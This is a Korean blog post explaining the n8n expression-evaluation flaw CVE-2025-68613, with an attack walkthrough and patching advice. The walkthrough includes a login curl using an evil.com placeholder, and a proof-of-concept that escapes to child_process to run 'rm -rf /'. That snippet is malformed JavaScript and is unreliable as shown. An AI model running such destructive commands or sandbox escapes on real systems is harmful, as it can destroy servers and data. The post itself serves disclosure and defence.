목차
이번에 알려진 n8n의 취약점은 CVSS(Common Vulnerability Scoring System) 점수 9.9점으로 최악의 취약점으로 알려졌습니다. CVSS는 공통 취약점 평가 시스템으로 0.0 ~ 10.0까지 점수를 매기는데 10점에 가까울수록 심각하다는 걸 나타냅니다.
따라서, 이번 취약점은 정말 치명적이라 볼 수 있는데요. 여기서 n8n 이란 무엇일까요?
n8n이란?
n8n은 워크플로우 자동화 도구입니다. n8n이라는 이름은 “node-based no-code(노드 기반 노코드)”의 약자입니다. 이 도구는 매일 사용하는 다양한 앱, 도구, 플랫폼 및 서비스들 간에 데이터를 이동시키고 작업을 예약할 수 있게 해줍니다. 이는 시각적인 방식으로 자동화된 프로세스를 설계할 수 있는 빌딩 블록을 제공하는 워크플로우 자동화 도구입니다.
쉽게 설명하면 n8n은 다양한 서비스와 애플리케이션을 연결하여 반복적인 작업을 자동화하고 효율적인 워크플로우를 구축할 수 있는 강력한 도구입니다.
이번에 발견된 n8n 취약점은?
n8n은 사용자가 워크플로 구성 중 동적 데이터를 사용할 수 있도록 허용하는데, 이 과정에서 표현식 평가 메커니즘에 심각한 결함이 존재한 것이 알려졌습니다. 이 취약점은 CVE-2025-68613으로 분류되었으며, 인증된 공격자가 이 취약점을 악용할 경우 n8n 프로세스의 권한으로 임의 코드를 실행할 수 있습니다.
사용자가 워크플로우 내에서 동적 데이터와 변수를 조작할 수 있도록 표현식 시스템을 제공하는데, 이 과정에서 프로토타입 체인(Prototype Chain)이 제대로 검증되지 않아 발생합니다.
공격자는 악의적인 표현식을 삽입하여 n8n 서버에서 임의의 코드를 실행할 수 있습니다. 이는 인증된 사용자만 접근할 수 있는 기능을 악용하므로, 내부자 위협이나 계정 탈취가 전제됩니다.
공격 시나리오
1. 접근 시도
# 공격자가 n8n 인스턴스에 로그인
curl -X POST 'https://target-n8n.com/rest/login' \
-H 'Content-Type: application/json' \
-d '{"email":"attacker@evil.com","password":"compromised_password"}'
공격자는 먼저 피싱, 크리덴셜 스터핑, 또는 내부자 공격을 통해 인증 정보를 획득합니다.
2. 취약한 표현식 식별
공격자는 n8n의 표현식 평가 시스템이 JavaScript 객체의 프로토타입 체인을 제대로 검증하지 않는다는 것을 발견합니다. 특히 ={{}} 문법을 통해 JavaScript 표현식을 실행할 수 있는 기능이 취약점의 핵심입니다.
3. 프로토타입 오염(PoC)
// 워크플로우에서 악성 표현식 생성
={
constructor: {
constructor: 'return global.process.mainModule.require("child_process").exec("rm -rf /")'
}()
}
이 표현식은 매우 위험하 JavaScript의 프로토타입 체인을 조작하여 Node.js의 전역 객체에 접근합니다.
4. RCE 실행 세부 과정
- 객체 생성: 공격자는
constructor속성을 통해 Function 생성자를 접근 - 프로토타입 체인 탐색:
constructor.constructor를 통해 Function 생성자의 생성자에 접근 - 임의 코드 실행: Function 생성자를 사용하여 Node.js 전역 객체(
global.process)에 접근 - 명령 실행:
child_process모듈을 로드하여 시스템 명령어 실행
실제 공격 시나리오 코드는 위험성이 있어 공개하지 않겠습니다. 코드는 공격자의 서버로 reverse shell을 연결하고, cron job을 통해 영구적인 접근 권한을 확보합니다.
영향 받는 범위
n8n의 모든 구버전이 영향을 받습니다. 구체적인 버전 범위는 공식 패치 노트에서 확인이 필요하지만, 취약점이 발견된 시점의 최신 버전 이하가 모두 해당됩니다. 다행히도 보안 패치가 이루어졌으므로 n8n 개발팀에서 제공하는 최신 보안 패치를 즉시 적용해야 합니다. n8n을 사용하는 모든 조직은 이 취약점의 심각성을 인지하고 즉각적인 조치를 취해야 합니다.
댓글 0개
댓글을 남기시면 관리자가 최대한 빠르게 확인 후 답글을 남겨드립니다.구글 간편 로그인 후 댓글 작성시 포인트가 누적되며, 회원전용글 열람이 가능합니다.
확인되지 않은 URL
본 사이트에서 이동할 시 위험할 수 있으며, 이 후 책임은 이 사이트가 책임지지 않습니다. 이동하시겠습니까?
AI 교정
AI가 내용을 분석하고 있습니다...
원본
AI 교정
교정 내용을 확인하고 '적용하기'를 클릭하세요.
코드 삽입
이미지 추가 (Imgur)
이미지 호스팅 Imgur에 이미지를 업로드한 후,
이미지 주소(Direct Link)를 입력해주세요.